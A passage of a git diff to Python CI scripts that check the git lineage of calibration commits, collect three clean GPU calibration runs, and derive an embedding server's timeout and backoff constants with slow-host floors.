_tracked_source_dirty(repository_root), + } + lineage = verify_calibration_source_lineage( + calibration_source, + release_source, + repository_root, + allow_promotion_commit=allow_promotion_commit, + ) + return { + **lineage, + "selection_tree": calibration_source["tree"], + "release_tree": release_tree, + } def verify_calibration_source_lineage( calibration_source: dict, frozen_source: dict, repository_root: Path, + *, + allow_promotion_commit: bool = False, ) -> dict: require( frozen_source.get("tracked_dirty") is False, @@ -35,31 +178,18 @@ def verify_calibration_source_lineage( "frozen package did not add the required constant-set freeze commit", ) - def git(*arguments: str) -> str: - completed = subprocess.run( - ["git", *arguments], - cwd=repository_root, - text=True, - capture_output=True, - timeout=30, - ) - require( - completed.returncode == 0, - "calibration source-lineage probe failed: " - + require_nonempty_string( - completed.stderr.strip() or completed.stdout.strip(), - "Git lineage failure", - ), - ) - return completed.stdout.strip() - require( - git("rev-parse", "HEAD") == frozen_source["commit"] - and git("rev-parse", "HEAD^{tree}") == frozen_source["tree"], + _git(repository_root, "rev-parse", "HEAD") == frozen_source["commit"] + and _git(repository_root, "rev-parse", "HEAD^{tree}") + == frozen_source["tree"], "verification checkout does not match the frozen package source", ) require( - git("rev-parse", f"{calibration_source['commit']}^{{tree}}") + _git( + repository_root, + "rev-parse", + f"{calibration_source['commit']}^{{tree}}", + ) == calibration_source["tree"], "calibration commit does not resolve to the recorded calibration tree", ) @@ -77,11 +207,16 @@ def git(*arguments: str) -> str: ) require( completed.returncode == 0, - "calibration source is not an ancestor of the frozen package source", + "calibration source " + f"{calibration_source['commit']} is not an ancestor of the frozen " + f"package source {frozen_source['commit']}; the packaged tree was not " + "grown from the calibrated tree, so the frozen constants were never " + f"measured on what ships. The {REQUIRED_RELEASE_ORDERING}.", ) changed_paths = [ path - for path in git( + for path in _git( + repository_root, "diff", "--name-only", calibration_source["commit"], @@ -89,13 +224,66 @@ def git(*arguments: str) -> str: ).splitlines() if path ] + offending_paths = [ + path for path in changed_paths if path != CONSTANT_SET_FREEZE_PATH + ] + require( + changed_paths == [CONSTANT_SET_FREEZE_PATH], + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file: " + + ( + "offending changed paths between calibration " + f"{calibration_source['commit']} and packaged " + f"{frozen_source['commit']}: " + ", ".join(offending_paths) + if offending_paths + else "the packaged source did not add the required " + f"{CONSTANT_SET_FREEZE_PATH} freeze commit " + f"(no path changed between calibration {calibration_source['commit']} " + f"and packaged {frozen_source['commit']})" + ) + + f". The {REQUIRED_RELEASE_ORDERING}.", + ) + frozen_parents = _git( + repository_root, + "rev-list", + "--parents", + "-n", + "1", + frozen_source["commit"], + ).split()[1:] + direct_freeze = frozen_parents == [calibration_source["commit"]] + promotion_parent = None + if allow_promotion_commit and not direct_freeze: + candidates = [] + for parent in frozen_parents: + parent_parents = _git( + repository_root, + "rev-list", + "--parents", + "-n", + "1", + parent, + ).split()[1:] + parent_tree = _git(repository_root, "rev-parse", f"{parent}^{{tree}}") + if ( + parent_parents == [calibration_source["commit"]] + and parent_tree == frozen_source["tree"] + ): + candidates.append(parent) + if len(candidates) == 1: + promotion_parent = candidates[0] require( - changed_paths - == ["crates/codestory-llama-sys/per-user-embedding-server-constant-set.json"], - "post-calibration source drift exceeded the one allowed constant-set freeze file", + direct_freeze or promotion_parent is not None, + "the frozen candidate must be the direct single-parent child of the " + "accepted calibration source. Any later commit revokes acceptance; " + "publication may add only one explicit tree-preserving promotion commit", ) return { "selection_commit": calibration_source["commit"], "frozen_commit": frozen_source["commit"], + "freeze_commit": promotion_parent or frozen_source["commit"], + "promotion_commit": ( + frozen_source["commit"] if promotion_parent is not None else None + ), "allowed_changed_paths": changed_paths, } diff --git a/.github/scripts/packaged_agent_proof/calibration_metrics.py b/.github/scripts/packaged_agent_proof/calibration_metrics.py index 87318761b..f30622f5e 100644 --- a/.github/scripts/packaged_agent_proof/calibration_metrics.py +++ b/.github/scripts/packaged_agent_proof/calibration_metrics.py @@ -13,31 +13,10 @@ _calibration_sample, _record_calibration_durations, ) -from .contract_primitives import ( - require_exact_keys, - require_nonnegative_int, - require_positive_int, -) +from .contract_primitives import require_exact_keys, require_nonnegative_int, require_positive_int from .foundation import require -def _aggregate_calibration_values( - aggregation: str, - values: list[float | int], -) -> float | int: - if aggregation == "maximum": - return max(values) - if aggregation == "minimum": - return min(values) - if aggregation == "exact": - return values[0] - require( - aggregation == "all_rows_pass_rate", - f"unknown calibration aggregation {aggregation}", - ) - return sum(values) / len(values) - - def _calibration_metric_value( metric: str, record: object, @@ -55,9 +34,10 @@ def _calibration_metric_value( f"{field} used the wrong unit", ) samples = record["samples"] - policy = bundle.protocol["metric_sampling"][metric] + policy = bundle.protocol["calibration_metric_sampling"][metric] require( - isinstance(samples, list) and len(samples) == policy["sample_count"], + isinstance(samples, list) + and len(samples) == policy["sample_count_per_run"] == 1, f"{field} sample count changed", ) normalized = [ @@ -72,14 +52,6 @@ def _calibration_metric_value( ) for index, sample in enumerate(samples) ] - identities = [sample.identity for sample in normalized] - if policy.get("independence") == "distinct_server_instance_per_sample": - require( - len({identity[:2] for identity in identities}) == len(normalized), - f"{field} samples are not independent", - ) - else: - require(len(set(identities)) == 1, f"{field} changed server identity") for sample in normalized: _record_calibration_durations( metric, @@ -87,10 +59,7 @@ def _calibration_metric_value( field=field, accumulator=accumulator, ) - return _aggregate_calibration_values( - policy["aggregation"], - [sample.value for sample in normalized], - ) + return normalized[0].value def _verified_calibration_runs( @@ -124,6 +93,24 @@ def _verified_calibration_runs( accumulator.observed_run_cells == accumulator.expected_run_cells, "calibration bundle does not exactly cover every matrix cell three times", ) + require( + set(accumulator.server_identities_by_run) == accumulator.expected_run_cells + and set(accumulator.materialization_reused_by_run) + == accumulator.expected_run_cells + and all( + len(identities) == 1 + for identities in accumulator.server_identities_by_run.values() + ), + "each calibration run must use exactly one fresh server generation", + ) + run_identities = [ + next(iter(accumulator.server_identities_by_run[run_cell])) + for run_cell in sorted(accumulator.expected_run_cells) + ] + require( + len(set(run_identities)) == len(run_identities), + "calibration clean runs reused a server generation", + ) packages = accumulator.packages_by_cell.values() require( len({package["release_version"] for package in packages}) == 1 @@ -168,16 +155,55 @@ def _selected_calibration_constants( query_floor, math.ceil(max(durations["query_request_duration"]) * 1.50), ) - replay = max(query, math.ceil(max(durations["bulk_request_duration"]) * 1.50)) - retry = max(1, math.floor(min(durations["capacity_condition_duration"]) * 0.50)) + replay_floor = require_positive_int( + formulas["request_deadlines_ms"]["bulk_request_deadline_ms"][ + "replay_success_budget_slow_host_floor_ms" + ], + "bulk replay success slow-host floor", + ) + retry_floor = require_positive_int( + formulas["capacity_retry_policy"]["retry_after_slow_host_floor_ms"], + "capacity retry slow-host floor", + ) + initial_floor = require_positive_int( + formulas["election_backoff_policy"]["initial_backoff_slow_host_floor_ms"], + "election initial-backoff slow-host floor", + ) + maximum_floor = require_positive_int( + formulas["election_backoff_policy"]["maximum_backoff_slow_host_floor_ms"], + "election maximum-backoff slow-host floor", + ) + hard_floor = require_positive_int( + formulas["hard_native_no_progress_ms"]["slow_host_floor_ms"], + "native no-progress slow-host floor", + ) + cadence_floor = require_positive_int( + formulas["watchdog_cadence_ms"]["slow_host_floor_ms"], + "watchdog cadence slow-host floor", + ) + replay = max( + replay_floor, + query, + math.ceil(max(durations["bulk_request_duration"]) * 1.50), + ) + retry = max( + retry_floor, + math.floor(min(durations["capacity_condition_duration"]) * 0.50), + ) initial = max( - 1, math.ceil(max(durations["existing_owner_connect_duration"]) * 0.50) + initial_floor, + math.ceil(max(durations["existing_owner_connect_duration"]) * 0.50), ) maximum = max( - initial, math.ceil(max(durations["spawn_convergence_duration"]) * 0.25) + maximum_floor, + initial, + math.ceil(max(durations["spawn_convergence_duration"]) * 0.25), + ) + hard = max( + hard_floor, + math.ceil(max(durations["successful_operation_duration"]) * 4.00), ) - hard = max(1, math.ceil(max(durations["successful_operation_duration"]) * 4.00)) - cadence = max(1, math.floor(hard / 20)) + cadence = max(cadence_floor, math.floor(hard / 20)) return { "connect_timeout_ms": connect, "spawn_convergence_timeout_ms": spawn, @@ -202,25 +228,3 @@ def _selected_calibration_constants( "hard_native_no_progress_ms": hard, "watchdog_cadence_ms": cadence, } - - -def _selected_calibration_thresholds( - values_by_metric: dict[str, list[float | int]], - metric_contracts: dict, -) -> dict[str, float | int]: - thresholds: dict[str, float | int] = {} - for metric, values in values_by_metric.items(): - comparison = metric_contracts[metric]["comparison"] - if comparison == "less_than_or_equal": - threshold: float | int = math.ceil(max(values) * 1.20) - elif comparison == "greater_than_or_equal": - threshold = math.floor(min(values) * 0.80) - else: - require( - len(set(values)) == 1, - f"calibration equal metric {metric} did not have one exact observed value", - ) - threshold = values[0] - thresholds[metric] = threshold - thresholds["retrieval_quality"] = 1.0 - return thresholds diff --git a/.github/scripts/packaged_agent_proof/calibration_records.py b/.github/scripts/packaged_agent_proof/calibration_records.py index da88afe45..a05afd357 100644 --- a/.github/scripts/packaged_agent_proof/calibration_records.py +++ b/.github/scripts/packaged_agent_proof/calibration_records.py @@ -42,6 +42,8 @@ class CalibrationAccumulator: artifact_digests: set[str] packages_by_cell: dict[str, dict] sample_ids: set[str] + server_identities_by_run: dict[tuple[str, int], set[tuple[str, str, int]]] + materialization_reused_by_run: dict[tuple[str, int], bool] metric_values: dict[str, list[float | int]] duration_values_ms: dict[str, list[float]] @@ -50,6 +52,7 @@ class CalibrationAccumulator: class CalibrationRun: position: int matrix_cell_id: str + run_index: int matrix_cell: dict package: dict metrics: dict @@ -203,7 +206,7 @@ def _calibration_bundle( def _calibration_accumulator(bundle: CalibrationBundle) -> CalibrationAccumulator: - metrics = set(bundle.protocol["required_metrics"]) - {"retrieval_quality"} + metrics = set(bundle.protocol["calibration_required_metrics"]) return CalibrationAccumulator( expected_run_cells={ (cell_id, run_index) @@ -215,6 +218,8 @@ def _calibration_accumulator(bundle: CalibrationBundle) -> CalibrationAccumulato artifact_digests=set(), packages_by_cell={}, sample_ids=set(), + server_identities_by_run={}, + materialization_reused_by_run={}, metric_values={metric: [] for metric in metrics}, duration_values_ms={ "existing_owner_connect_duration": [], @@ -281,7 +286,8 @@ def _calibration_raw_payload( require(isinstance(value, dict), f"{field} is malformed") require_exact_keys(value, {"name", "sha256", "payload"}, field) require( - value["name"] == "measurements.raw.json", + value["name"] + == f"constant-calibration-run-{expected_identity['run_index']}.raw.json", f"calibration run {position} raw artifact has the wrong name", ) digest = require_sha256(value["sha256"], f"{field} sha256") @@ -310,6 +316,7 @@ def _calibration_raw_payload( "source", "contracts", "package", + "materialized_reused", "clean", "unplanned_suspend", "metrics", @@ -347,6 +354,7 @@ def _calibration_run( "source", "contracts", "package", + "materialized_reused", "raw_artifact", }, field, @@ -373,6 +381,13 @@ def _calibration_run( raw_run["clean"] is True and raw_run["unplanned_suspend"] is False, f"calibration run {position} was not a clean awake run", ) + materialized_reused = raw_run["materialized_reused"] + require( + isinstance(materialized_reused, bool) + and materialized_reused is (run_index > 1), + f"calibration run {position} repeated or skipped model materialization", + ) + accumulator.materialization_reused_by_run[run_cell] = materialized_reused require( raw_run["source"] == bundle.source and raw_run["contracts"] == bundle.contracts, f"calibration run {position} changed source, tree, or protocol identity", @@ -396,6 +411,7 @@ def _calibration_run( "source": bundle.source, "contracts": bundle.contracts, "package": package, + "materialized_reused": materialized_reused, }, accumulator=accumulator, ) @@ -404,7 +420,7 @@ def _calibration_run( isinstance(metrics, dict) and set(metrics) == set(accumulator.metric_values), f"calibration run {position} omitted a required metric", ) - return CalibrationRun(position, cell_id, matrix_cell, package, metrics) + return CalibrationRun(position, cell_id, run_index, matrix_cell, package, metrics) _CALIBRATION_SAMPLE_FIELDS = { @@ -470,13 +486,17 @@ def _calibration_sample( ), require_positive_int(server["load_generation"], f"{field} load_generation"), ) + accumulator.server_identities_by_run.setdefault( + (run.matrix_cell_id, run.run_index), + set(), + ).add(identity) target_os = TARGET_CONTRACTS[run.matrix_cell["asset_target"]]["target_os"] clock_policy = bundle.protocol["clock_policy"] value = qualification_measurement_sample_value( metric, sample, contracts=bundle.contracts, - phase_boundaries=bundle.protocol["phase_boundaries"], + phase_boundaries=bundle.protocol["calibration_phase_boundaries"], allowed_awake_apis=set(clock_policy["platform_apis"][target_os]), inclusive_api=clock_policy["suspend_detection"]["platform_apis"][target_os], maximum_suspend_ns=maximum_suspend_ns, diff --git a/.github/scripts/packaged_agent_proof/calibration_self_test.py b/.github/scripts/packaged_agent_proof/calibration_self_test.py index 2f6a43053..2f5c8cd1b 100644 --- a/.github/scripts/packaged_agent_proof/calibration_self_test.py +++ b/.github/scripts/packaged_agent_proof/calibration_self_test.py @@ -10,14 +10,6 @@ from .contract_primitives import canonical_sha256, sha256, write_json from .foundation import TARGET_CONTRACTS -_MEMORY_ROLES = ( - "plugin_host_a", - "plugin_cli_a", - "plugin_host_b", - "plugin_cli_b", - "embedding_server", -) - _SUCCESSFUL_METRICS = { "cold_first_vector", "first_product_ready", @@ -59,29 +51,6 @@ def _self_test_operands( operands["completed_documents"] = 1 elif metric == "bulk_tokens_per_second": operands["completed_tokens"] = 1 - elif metric == "total_codestory_process_memory": - operands["processes"] = [ - { - "role": role, - "pid": pid + index + 1, - "process_start_id": f"boot:{pid + index + 1}", - "executable_sha256": hashlib.sha256(f"exe:{role}".encode()).hexdigest(), - "resident_bytes": 1, - "measurement_api": "self_test", - } - for index, role in enumerate(_MEMORY_ROLES) - ] - elif metric == "backend_observed_accelerator_residency": - accelerated = cell["policy"] == "accelerated" - operands = { - "policy": cell["policy"], - "backend": cell["backend"], - "accelerator_execution_verified": accelerated, - "resident_accelerator_tensor_count": 1 if accelerated else 0, - "resident_accelerator_tensor_bytes": 1 if accelerated else 0, - "offloaded_layer_count": 1 if accelerated else 0, - "model_layer_count": 1, - } return operands @@ -91,7 +60,6 @@ def _self_test_sample( metric_position: int, repeat: int, ) -> dict: - policy = context.protocol["metric_sampling"][metric] pid = ( 10_000 + context.cell_position * 1_000 @@ -99,19 +67,11 @@ def _self_test_sample( + metric_position * 10 + repeat ) - independent = policy.get("independence") == "distinct_server_instance_per_sample" - identity_seed = ( - f"{context.seed}:{metric}:{repeat}" - if independent - else f"{context.seed}:{metric}" - ) + identity_seed = context.seed server_id = "server:" + hashlib.sha256(identity_seed.encode()).hexdigest() - server_start = ( - f"boot:{pid}" - if independent - else "boot:" - + hashlib.sha256(f"server-start:{context.seed}:{metric}".encode()).hexdigest() - ) + server_start = "boot:" + hashlib.sha256( + f"server-start:{context.seed}".encode() + ).hexdigest() started_ns = repeat * 2_000_000 finished_ns = started_ns + 1_000_000 boot_id = f"boot-{context.cell_position}" @@ -136,11 +96,11 @@ def _self_test_sample( "resolution_ns": 1, }, "start": { - "phase": context.protocol["phase_boundaries"][metric][0], + "phase": context.protocol["calibration_phase_boundaries"][metric][0], "observed_ns": started_ns, }, "end": { - "phase": context.protocol["phase_boundaries"][metric][1], + "phase": context.protocol["calibration_phase_boundaries"][metric][1], "observed_ns": finished_ns, }, "operands": _self_test_operands( @@ -163,14 +123,14 @@ def _self_test_sample( def _self_test_metrics(context: SelfTestRunContext) -> dict: metrics = {} - names = sorted(set(context.protocol["required_metrics"]) - {"retrieval_quality"}) + names = sorted(context.protocol["calibration_required_metrics"]) for position, metric in enumerate(names): - policy = context.protocol["metric_sampling"][metric] + policy = context.protocol["calibration_metric_sampling"][metric] metrics[metric] = { "unit": context.protocol["metric_contracts"][metric]["unit"], "samples": [ _self_test_sample(context, metric, position, repeat) - for repeat in range(1, policy["sample_count"] + 1) + for repeat in range(1, policy["sample_count_per_run"] + 1) ], } return metrics @@ -201,6 +161,7 @@ def _self_test_run(context: SelfTestRunContext) -> tuple[dict, str]: "source": context.source, "contracts": context.contracts, "package": package, + "materialized_reused": context.run_index > 1, "clean": True, "unplanned_suspend": False, "metrics": _self_test_metrics(context), @@ -217,8 +178,11 @@ def _self_test_run(context: SelfTestRunContext) -> tuple[dict, str]: "source": context.source, "contracts": context.contracts, "package": package, + "materialized_reused": context.run_index > 1, "raw_artifact": { - "name": "measurements.raw.json", + "name": ( + f"constant-calibration-run-{context.run_index}.raw.json" + ), "sha256": digest, "payload": payload, }, @@ -258,46 +222,31 @@ def _self_test_runs( return runs, digests -def _self_test_selection(protocol: dict) -> tuple[dict, dict]: - constants = { +def _self_test_selection() -> dict: + return { "connect_timeout_ms": 2000, "spawn_convergence_timeout_ms": 15000, "request_deadlines_ms": { "query_request_deadline_ms": 10000, - "bulk_replay_success_budget_ms": 10000, - "bulk_request_deadline_ms": 25005, + "bulk_replay_success_budget_ms": 144537, + "bulk_request_deadline_ms": 564239, }, "capacity_retry_policy": { - "retry_after_ms": 1, + "retry_after_ms": 40, "retry_class": "after_capacity_change", "retry_condition_source": "named_condition_from_typed_capacity_response", }, "election_backoff_policy": { - "initial_backoff_ms": 1, - "maximum_backoff_ms": 1, + "initial_backoff_ms": 7, + "maximum_backoff_ms": 102, "jitter": ( "sha256(process_start_id||attempt) modulo inclusive " "[initial_backoff_ms,maximum_backoff_ms]" ), }, - "hard_native_no_progress_ms": 4, - "watchdog_cadence_ms": 1, - } - thresholds = { - metric: ( - 1.0 - if metric == "retrieval_quality" - else 1 - if metric == "backend_observed_accelerator_residency" - else 800 - if metric in {"bulk_documents_per_second", "bulk_tokens_per_second"} - else 6 - if metric == "total_codestory_process_memory" - else 2 - ) - for metric in protocol["required_metrics"] + "hard_native_no_progress_ms": 385431, + "watchdog_cadence_ms": 19271, } - return constants, thresholds def _frozen_self_test_contract( @@ -326,7 +275,7 @@ def _frozen_self_test_contract( "calibration_freeze_digest": bundle["freeze_digest"], "run_artifact_sha256s": sorted(digests), "selection_rule": ( - "all_preregistered_clean_runs_no_outlier_removal+slow_host_floors_v1" + "constant_only_three_fresh_generations_one_sample_each+slow_host_floors_v2" ), "selected_at": "self-test", } @@ -348,7 +297,10 @@ def build_calibration_self_test_bundle( "input_constant_set_sha256": measurement_contract["constant_set_sha256"], } runs, digests = _self_test_runs(protocol, contracts, source) - constants, thresholds = _self_test_selection(protocol) + constants = _self_test_selection() + thresholds = json.loads( + json.dumps(measurement_contract["constant_set"]["qualification_thresholds"]) + ) producer = { "repository": "TheGreenCedar/CodeStory", "workflow_path": ".github/workflows/packaged-platform-pr.yml", @@ -366,7 +318,6 @@ def build_calibration_self_test_bundle( "contracts": contracts, "run_artifact_sha256s": sorted(digests), "calibration_required_values": constants, - "qualification_thresholds": thresholds, } bundle = { "schema_version": 1, diff --git a/.github/scripts/packaged_agent_proof/calibration_verification.py b/.github/scripts/packaged_agent_proof/calibration_verification.py index 58a1264ab..ca6c4a5ce 100644 --- a/.github/scripts/packaged_agent_proof/calibration_verification.py +++ b/.github/scripts/packaged_agent_proof/calibration_verification.py @@ -7,7 +7,6 @@ from .calibration_freeze import _calibration_freeze from .calibration_metrics import ( _selected_calibration_constants, - _selected_calibration_thresholds, _verified_calibration_runs, ) from .calibration_records import _calibration_bundle @@ -36,15 +35,10 @@ def verify_calibration_bundle( accumulator.duration_values_ms, bundle.protocol["constant_selection"], ) - thresholds = _selected_calibration_thresholds( - accumulator.metric_values, - bundle.protocol["metric_contracts"], - ) freeze_digest, source_lineage = _calibration_freeze( bundle, accumulator, selected_constants, - thresholds, compare_frozen_constant_set=compare_frozen_constant_set, frozen_source=frozen_source, repository_root=repository_root, @@ -59,7 +53,6 @@ def verify_calibration_bundle( "run_count": len(bundle.runs), "freeze_digest": freeze_digest, "calibration_required_values": selected_constants, - "qualification_thresholds": thresholds, "run_artifact_sha256s": sorted(accumulator.artifact_digests), "source_lineage": source_lineage, } diff --git a/.github/scripts/packaged_agent_proof/cli.py b/.github/scripts/packaged_agent_proof/cli.py index 03feb92c8..611cf5475 100644 --- a/.github/scripts/packaged_agent_proof/cli.py +++ b/.github/scripts/packaged_agent_proof/cli.py @@ -44,7 +44,7 @@ def parse_args() -> argparse.Namespace: default="hosted_package", ) parser.add_argument("--plugin-handoff", action="store_true") - parser.add_argument("--engine-policy", choices=("accelerated", "cpu_explicit")) + parser.add_argument("--engine-policy", choices=("accelerated",)) parser.add_argument("--expected-backend") parser.add_argument("--qualification-matrix-cell") parser.add_argument("--offline", action="store_true") @@ -54,11 +54,10 @@ def parse_args() -> argparse.Namespace: parser.add_argument("--server-behavior-only", action="store_true") parser.add_argument("--ground-only", action="store_true") parser.add_argument("--publication-fault-evidence", type=Path) - parser.add_argument("--retrieval-quality-evidence", type=Path) parser.add_argument("--calibration-bundle", type=Path) parser.add_argument("--enforce-calibration-freeze-lineage", action="store_true") - parser.add_argument("--calibration-run-index", type=int) - parser.add_argument("--calibration-run-output", type=Path) + parser.add_argument("--collect-constant-calibration", action="store_true") + parser.add_argument("--constant-calibration-output-dir", type=Path) parser.add_argument("--assemble-calibration-bundle", action="store_true") parser.add_argument("--calibration-run", type=Path, action="append", default=[]) parser.add_argument("--calibration-bundle-output", type=Path) @@ -98,15 +97,53 @@ def _resolve_optional_paths(args: argparse.Namespace) -> None: "qualification_evidence", "qualification_driver", "publication_fault_evidence", - "retrieval_quality_evidence", "calibration_bundle", - "calibration_run_output", "installed_plugin_attestation", "installed_plugin_data", ): value = getattr(args, field) if value is not None: setattr(args, field, value.resolve()) + if args.constant_calibration_output_dir is not None: + args.constant_calibration_output_dir = ( + args.constant_calibration_output_dir.resolve() + ) + + +def _validate_calibration_mode(args: argparse.Namespace) -> None: + if args.collect_constant_calibration: + require( + args.proof_tier == "calibration" + and not args.version_only + and args.constant_calibration_output_dir is not None + and args.qualification_driver is not None + and args.engine_policy == "accelerated" + and args.offline + and args.project is None + and args.plugin_root is None + and not args.plugin_handoff + and not args.additional_project + and not args.additional_query + and not args.produce_qualification_evidence + and args.qualification_evidence is None + and args.publication_fault_evidence is None + and args.calibration_bundle is None, + "constant calibration requires its isolated GPU-only collector and rejects project, plugin, or qualification inputs", + ) + retained_root = args.constant_calibration_output_dir.resolve() + proof_root = args.out_dir.resolve() + require( + retained_root != proof_root + and not retained_root.is_relative_to(proof_root) + and not proof_root.is_relative_to(retained_root), + "constant-calibration retained runs and package proof output must use disjoint directories", + ) + else: + require( + args.proof_tier != "calibration" + and args.constant_calibration_output_dir is None, + "the calibration proof tier is valid only for constant-only collection", + ) def _prepare_proof_arguments(args: argparse.Namespace) -> None: @@ -118,14 +155,7 @@ def _prepare_proof_arguments(args: argparse.Namespace) -> None: args.checksum_file = args.checksum_file.resolve() args.out_dir = args.out_dir.resolve() _resolve_optional_paths(args) - require( - (args.calibration_run_output is None) == (args.calibration_run_index is None), - "--calibration-run-output and --calibration-run-index must be supplied together", - ) - require( - args.calibration_run_output is None or args.proof_tier == "calibration", - "calibration run output is valid only for the calibration proof tier", - ) + _validate_calibration_mode(args) validate_runtime_claim_scope(args) args.out_dir.mkdir(parents=True, exist_ok=True) require( diff --git a/.github/scripts/packaged_agent_proof/constant_calibration.py b/.github/scripts/packaged_agent_proof/constant_calibration.py new file mode 100644 index 000000000..ecfcc0f86 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/constant_calibration.py @@ -0,0 +1,563 @@ +"""Constant-only calibration collection from one authenticated package.""" + +from __future__ import annotations + +import hashlib +import json +import platform +import secrets +import time +from pathlib import Path + +from .contract_primitives import ( + canonical_sha256, + normalized_backend, + require_exact_keys, + require_nonempty_string, + require_positive_int, + require_sha256, + sha256, + write_json, + write_private_json, +) +from .failure_evidence import register_failure_evidence_secret +from .foundation import NATIVE_MANIFEST_FILE, ProofFailure, TARGET_CONTRACTS, require +from .measurement_samples import qualification_measurement_sample_value +from .native_manifest import runtime_executable_path, runtime_executable_sha256 +from .subprocess_control import run + +_RUN_COUNT = 3 +_METRIC_COUNT = 9 +_SAMPLE_FIELDS = { + "sample_id", + "repeat", + "matrix_cell_id", + "workload_id", + "cache_state", + "residency_state", + "process", + "server_identity", + "clock", + "start", + "end", + "operands", + "suspend_witness", +} + + +def _constant_calibration_matrix_cell(args, protocol: dict, manifest: dict) -> dict: + cell_id = require_nonempty_string( + args.qualification_matrix_cell, + "--collect-constant-calibration requires --qualification-matrix-cell", + ) + required = protocol["calibration_matrix"] + optional = protocol["optional_calibration_evidence_matrix"] + require( + not (cell_id in required and cell_id in optional), + f"constant-calibration matrix cell {cell_id} is duplicated", + ) + cell = required.get(cell_id) or optional.get(cell_id) + require(cell is not None, f"unknown constant-calibration matrix cell {cell_id!r}") + require( + cell["asset_target"] == manifest["asset_target"] + and cell["proof_tier"] == "calibration" + and cell["policy"] == "accelerated" + and normalized_backend(cell["backend"]) in {"metal", "vulkan"} + and cell["cache_state"] == "reused" + and cell["residency_state"] == "resident", + "constant-calibration matrix cell is not an accelerated GPU lane", + ) + require( + args.engine_policy == "accelerated" + and args.offline + and normalized_backend(args.expected_backend) + == normalized_backend(cell["backend"]), + "constant calibration requires offline accelerated execution on its declared GPU backend", + ) + return cell + + +def _prepare_synthetic_project(private_root: Path) -> Path: + project = private_root / "synthetic-project" + project.mkdir(mode=0o700) + (project / "README.md").write_text( + "# Constant calibration fixture\n\nOne project prepared once per package cell.\n", + encoding="utf-8", + ) + (project / "lib.rs").write_text( + 'pub fn constant_calibration_probe() -> &\'static str { "gpu" }\n', + encoding="utf-8", + ) + return project.resolve() + + +def _native_manifest_path(unpacked_root: Path) -> Path: + matches = [ + path + for path in unpacked_root.rglob(NATIVE_MANIFEST_FILE) + if path.is_file() and not path.is_symlink() + ] + require( + len(matches) == 1, + "constant calibration requires exactly one authenticated native manifest", + ) + return matches[0].resolve() + + +def _load_json(path: Path, field: str) -> dict: + require( + path.is_file() and not path.is_symlink(), + f"{field} is missing or unsafe: {path}", + ) + try: + value = json.loads(path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise ProofFailure(f"{field} is not valid JSON: {exc}") from exc + require(isinstance(value, dict), f"{field} must be an object") + return value + + +def _validate_driver_output( + output: dict, + *, + request: dict, + request_path: Path, + private_root: Path, + protocol: dict, + matrix_cell: dict, +) -> list[tuple[dict, dict, str]]: + require_exact_keys( + output, + { + "schema_version", + "source", + "package", + "contracts", + "runtime", + "request_sha256", + "calibration_runs", + }, + "constant-calibration driver output", + ) + require( + output["schema_version"] == 1 + and output["source"] == request["source"] + and output["package"] == request["package"] + and output["contracts"] == request["contracts"] + and output["runtime"] == request["runtime"] + and output["request_sha256"] == sha256(request_path), + "constant-calibration driver output changed its authenticated request identity", + ) + summaries = output["calibration_runs"] + require( + isinstance(summaries, list) and len(summaries) == _RUN_COUNT, + "constant-calibration driver must return exactly three clean runs", + ) + target_os = TARGET_CONTRACTS[matrix_cell["asset_target"]]["target_os"] + allowed_awake_apis = set(protocol["clock_policy"]["platform_apis"][target_os]) + inclusive_api = protocol["clock_policy"]["suspend_detection"]["platform_apis"][ + target_os + ] + maximum_suspend_ns = protocol["clock_policy"]["suspend_detection"][ + "maximum_inclusive_minus_awake_ns" + ] + expected_metrics = set(protocol["calibration_required_metrics"]) + retained = [] + observed_generations: set[tuple[str, str, int]] = set() + for expected_index, summary in enumerate(summaries, start=1): + field = f"constant-calibration run {expected_index}" + require(isinstance(summary, dict), f"{field} summary is malformed") + require_exact_keys( + summary, + { + "run_index", + "measurements", + "server_identities", + "backend", + "policy", + "model_sha256", + "materialized_reused", + }, + f"{field} summary", + ) + require( + summary["run_index"] == expected_index + and summary["policy"] == "accelerated" + and normalized_backend(summary["backend"]) + == normalized_backend(matrix_cell["backend"]) + and summary["model_sha256"] == request["package"]["model_sha256"] + and summary["materialized_reused"] is (expected_index > 1), + f"{field} changed backend, model, or materialization identity", + ) + measurements = summary["measurements"] + require( + isinstance(measurements, dict) + and measurements + == { + "artifact": f"constant-calibration-run-{expected_index}.raw.json", + "metric_count": _METRIC_COUNT, + "sample_count": _METRIC_COUNT, + }, + f"{field} did not retain one sample for each constant-source metric", + ) + artifact_path = private_root / measurements["artifact"] + raw = _load_json(artifact_path, f"{field} raw artifact") + require_exact_keys( + raw, + { + "schema_version", + "run_index", + "contracts", + "metrics", + "server_identities", + "backend", + "policy", + "model_sha256", + "materialized_reused", + }, + f"{field} raw artifact", + ) + require( + raw["schema_version"] == 1 + and raw["run_index"] == expected_index + and raw["contracts"] == request["contracts"] + and raw["backend"] == summary["backend"] + and raw["policy"] == summary["policy"] + and raw["model_sha256"] == summary["model_sha256"] + and raw["materialized_reused"] == summary["materialized_reused"] + and raw["server_identities"] == summary["server_identities"], + f"{field} summary does not bind its raw artifact", + ) + identities = raw["server_identities"] + require( + isinstance(identities, list) and len(identities) == 1, + f"{field} must use one fresh server generation", + ) + identity = identities[0] + require(isinstance(identity, dict), f"{field} server identity is malformed") + require_exact_keys( + identity, + {"server_instance_id", "process_start_id", "load_generation"}, + f"{field} server identity", + ) + generation = ( + require_nonempty_string( + identity["server_instance_id"], + f"{field} server_instance_id", + ), + require_nonempty_string( + identity["process_start_id"], + f"{field} process_start_id", + ), + require_positive_int( + identity["load_generation"], + f"{field} load_generation", + ), + ) + require( + generation not in observed_generations, + "constant calibration reused a server generation across clean runs", + ) + observed_generations.add(generation) + metrics = raw["metrics"] + require( + isinstance(metrics, dict) and set(metrics) == expected_metrics, + f"{field} included qualification-only or omitted constant-source metrics", + ) + for metric, record in metrics.items(): + require(isinstance(record, dict), f"{field} metric {metric} is malformed") + require_exact_keys(record, {"unit", "samples"}, f"{field} metric {metric}") + require( + record["unit"] == protocol["metric_contracts"][metric]["unit"] + and isinstance(record["samples"], list) + and len(record["samples"]) == 1, + f"{field} metric {metric} must retain exactly one declared sample", + ) + sample = record["samples"][0] + require( + isinstance(sample, dict), + f"{field} metric {metric} sample is malformed", + ) + require_exact_keys( + sample, + _SAMPLE_FIELDS, + f"{field} metric {metric} sample", + ) + require( + sample["repeat"] == 1 + and sample["matrix_cell_id"] == 